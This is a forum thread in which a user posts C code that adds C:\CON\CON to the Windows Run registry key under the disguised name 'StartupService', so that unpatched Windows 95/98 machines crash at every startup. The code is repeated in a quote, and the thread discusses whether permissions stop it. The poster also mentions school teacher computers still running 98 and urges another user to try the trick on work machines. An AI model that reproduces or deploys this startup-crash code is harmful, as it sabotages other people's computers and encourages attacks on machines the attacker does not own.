Force Windows 95/98 to crash on startup

[Govind]

[color=blue]#include[/color] [COLOR="DarkRed"]<windows.h>[/COLOR]
[color=blue]int[/color] APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     [color=blue]int[/color]       nCmdShow)
{
 	BYTE Data[] =[COLOR="DarkRed"] "C:\\CON\\CON"[/COLOR];
	HKEY KeyHandle;
	RegOpenKey(HKEY_LOCAL_MACHINE,[COLOR="DarkRed"]"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"[/COLOR],&KeyHandle);
	RegSetValueEx(KeyHandle,[COLOR="DarkRed"]"StartupService"[/COLOR],NULL,REG_SZ,Data,11);
	[color=blue]return[/color] 0;
}

Okay if you don't know: Whenever an unpatched Windows 95 or 98 machine tries to access C:\CON\CON it takes the entire OS down.

I've added syntax coloring.

 

[SidStudios]

[color=blue]#include[/color] [COLOR="DarkRed"]<windows.h>[/COLOR]
[color=blue]int[/color] APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     [color=blue]int[/color]       nCmdShow)
{
 	BYTE Data[] =[COLOR="DarkRed"] "C:\\CON\\CON"[/COLOR];
	HKEY KeyHandle;
	RegOpenKey(HKEY_LOCAL_MACHINE,[COLOR="DarkRed"]"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"[/COLOR],&KeyHandle);
	RegSetValueEx(KeyHandle,[COLOR="DarkRed"]"StartupService"[/COLOR],NULL,REG_SZ,Data,11);
	[color=blue]return[/color] 0;
}

Okay if you don't know: Whenever an unpatched Windows 95 or 98 machine tries to access C:\CON\CON it takes the entire OS down.

I've added syntax coloring.

Basically, it disables a startup service?

 

[Govind]

No, it adds C:\CON\CON to the startup registry.

VFAT collapses whenever you try that on 95/98, which causes the whole OS to crash.

 

[cp]

Don't you need admin access to get into the registry? Properly set permissions will foil this.

 

[Govind]

You put too much faith in the intelligence of average Windows 9x users.

 

[SidStudios]

You put too much faith in the intelligence of average Windows 9x users.

No one uses Windows 9x anymore, unless you are trying this in a cybercafe in Goa or Bombay, where they still do use Windows 9x :O

 

[Govind]

Actually some of the teacher computers at my school run Windows 98. There are some people still using Windows 9x domestically too.

 

[coach thorpe]

I run 98 on all my work computers, there more stable.

 

[Govind]

Try running C:\CON\CON on them and see if they've patched it already

 

[SidStudios]

I run 98 on all my work computers, there more stable.

IMO Windows 2000 is better and more stable, because it runs on NTFS.